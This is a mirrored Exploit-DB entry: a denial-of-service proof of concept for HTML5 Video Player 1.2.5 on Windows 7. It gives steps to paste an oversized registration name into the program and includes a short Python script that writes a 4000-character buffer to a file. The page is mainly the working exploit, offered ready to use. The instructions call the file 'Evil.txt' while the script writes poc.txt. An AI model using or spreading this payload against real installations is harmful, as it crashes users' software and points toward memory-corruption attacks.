HTML5 Video Player 1.2.5 – Denial of Service (PoC) - 体验盒子

作者： T3jv1l

日期： 2018-09-11

类别：

dos

平台：

windows_x86

来源：https://www.exploit-db.com/exploits/45376/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Exploit Title: HTML5 Video Player 1.2.5 - Denial of Service (PoC)

# Date: 2018-09-07

# Exploit Author: T3jv1l

# Vendor Homepage: http://www.html5videoplayer.net/download.html

# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe

# Contact: https://twitter.com/T3jv1l

# Version: HTML5 Video Player V.1.2.5

# Tested on: Windows 7 SP1 x86

# PoC:

# 1.Download and install the setup file

# 2.A file "Evil.txt" will be created

# 3.Click Help > Register... in tool bar

# 4.Copy the contents of the file (poc.txt) and paste in the Registration Name field

# 5.Click Activate and BOOMMMM !!!!

#!/usr/bin/python

buffer = "\x41" * 4000

payload = buffer

try:

f=open("poc.txt","w")

print "[+] Creating %s bytes payload..." %len(payload)

f.write(payload)

f.close()

print "[+] File created!"

except:

print "File cannot be created"